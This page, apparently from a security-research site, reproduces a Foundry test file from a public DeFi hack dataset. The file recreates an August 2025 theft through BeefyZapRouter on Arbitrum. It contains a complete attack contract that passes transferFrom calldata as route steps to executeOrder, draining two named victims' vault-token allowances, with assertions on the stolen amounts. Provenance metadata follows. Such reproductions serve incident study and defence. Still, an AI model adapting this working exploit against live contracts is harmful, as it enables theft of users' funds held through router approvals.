Public reproduction file
src/test/2025-08/BeefyZapRouter_exp.sol
Public reproduction file for dataset entry BeefyZapRouter.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 6,584.95 USD8// Attacker : 0x3c6184f4Ee527600Dcc0163cCC47dedd110A61019// Attack Contract : 0x398A526582dA473750d22e3FE1e3344638865ac010// Vulnerable Contract : 0xf49F7bB6F4F50d272A0914a671895c4384696E5A11// Attack Tx : https://arbiscan.io/tx/0x536463212dfcdf99616b8fda50795bc8374b07b0cddc505da431f37786d1f85712//13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0xf49F7bB6F4F50d272A0914a671895c4384696E5A#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/166418//19// Attack summary: BeefyZapRouter.executeOrder() lets the caller supply arbitrary route steps. The direct execution path20// only requires msg.sender to equal order.user. The attacker set order.user to its helper contract and supplied route21// steps whose targets were ERC20 vault tokens and whose calldata was transferFrom(victim, attacker, amount).22// Root cause: arbitrary external route execution allowed token transferFrom calldata to spend third-party allowances23// granted to the ZapRouter.25address constant ATTACKER = 0x3c6184f4Ee527600Dcc0163cCC47dedd110A6101;26address constant ATTACK_CONTRACT = 0x398A526582dA473750d22e3FE1e3344638865ac0;27address constant VICTIM_A = 0x402a29fbb2F8b21907f89F257f9CDeD90a815a80;28address constant VICTIM_B = 0x8BC19C94D8e7f0896507bbb399742DAa1e13d26E;29address constant BEEFY_ZAP_ROUTER = 0xf49F7bB6F4F50d272A0914a671895c4384696E5A;30address constant BEEFY_VAULT_A = 0x25071C7Cf437F756a4AF9260aDCe5a639e143F93;31address constant BEEFY_VAULT_B = 0x36295709Ebb6df19f6D78127F8D2e5580AE7336f;33uint256 constant VAULT_A_AMOUNT = 2_782_482_153_324_467_704_932;34uint256 constant VAULT_B_AMOUNT = 2_779_110_877_218_055_686_129;36interface IBeefyZapRouter {37 struct Input {38 address token;39 uint256 amount;40 }42 struct Output {43 address token;44 uint256 minOutputAmount;45 }47 struct Relay {48 address target;49 uint256 value;50 bytes data;51 }53 struct StepToken {54 address token;55 int32 index;56 }58 struct Step {59 address target;60 uint256 value;61 bytes data;62 StepToken[] tokens;63 }65 struct Order {66 Input[] inputs;67 Output[] outputs;68 Relay relay;69 address user;70 address recipient;71 }73 function executeOrder(Order calldata order, Step[] calldata route) external payable;74}76contract ContractTest is BaseTestWithBalanceLog {77 BeefyZapRouterAttack private exploit;79 function setUp() public {80 uint256 forkBlock = 368_133_328;81 vm.createSelectFork("arbitrum", forkBlock);82 vm.label(ATTACKER, "Attacker");83 vm.label(ATTACK_CONTRACT, "Attack Contract");84 vm.label(VICTIM_A, "Victim A");85 vm.label(VICTIM_B, "Victim B");86 vm.label(BEEFY_ZAP_ROUTER, "Beefy ZapRouter");87 vm.label(BEEFY_VAULT_A, "Beefy Vault A");88 vm.label(BEEFY_VAULT_B, "Beefy Vault B");90 exploit = new BeefyZapRouterAttack();91 fundingToken = BEEFY_VAULT_A;92 attacker = address(exploit);93 }95 function testExploit() public balanceLog {96 uint256 victimABefore = IERC20(BEEFY_VAULT_A).balanceOf(VICTIM_A);97 uint256 victimBBefore = IERC20(BEEFY_VAULT_B).balanceOf(VICTIM_B);99 exploit.run();101 assertEq(IERC20(BEEFY_VAULT_A).balanceOf(address(exploit)), VAULT_A_AMOUNT, "vault A profit");102 assertEq(IERC20(BEEFY_VAULT_B).balanceOf(address(exploit)), VAULT_B_AMOUNT, "vault B profit");103 assertEq(victimABefore - IERC20(BEEFY_VAULT_A).balanceOf(VICTIM_A), VAULT_A_AMOUNT, "victim A loss");104 assertEq(victimBBefore - IERC20(BEEFY_VAULT_B).balanceOf(VICTIM_B), VAULT_B_AMOUNT, "victim B loss");105 }106}108contract BeefyZapRouterAttack {109 function run() external {110 IBeefyZapRouter.Order memory order;111 order.inputs = new IBeefyZapRouter.Input[](0);112 order.outputs = new IBeefyZapRouter.Output[](0);113 order.relay = IBeefyZapRouter.Relay({target: address(0), value: 0, data: ""});114 order.user = address(this);115 order.recipient = address(this);117 IBeefyZapRouter.Step[] memory route = new IBeefyZapRouter.Step[](2);118 route[0].target = BEEFY_VAULT_A;119 route[0].value = 0;120 route[0].data = abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM_A, address(this), VAULT_A_AMOUNT);121 route[0].tokens = new IBeefyZapRouter.StepToken[](0);123 route[1].target = BEEFY_VAULT_B;124 route[1].value = 0;125 route[1].data = abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM_B, address(this), VAULT_B_AMOUNT);126 route[1].tokens = new IBeefyZapRouter.StepToken[](0);128 IBeefyZapRouter(BEEFY_ZAP_ROUTER).executeOrder(order, route);129 }130}Analysis
Dataset entry
Public Foundry test for “BeefyZapRouter” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3c6184f4ee527600dcc0163ccc47dedd110a6101
- Attack Contract
0x398a526582da473750d22e3fe1e3344638865ac0
- Vulnerable Contract
0xf49f7bb6f4f50d272a0914a671895c4384696e5a
- Attack Tx
0x536463212dfcdf99616b8fda50795bc8374b07b0cddc505da431f37786d1f857
File record
- Name
- BeefyZapRouter
- Path
- src/test/2025-08/BeefyZapRouter_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bd08d744e1e466c4b72cb1adc0542581b869934b
- Language
- Solidity
- Size
- 131 lines
- Date
- 2025-08-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/BeefyZapRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd08d744e1e466c4b72cb1adc0542581b869934b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.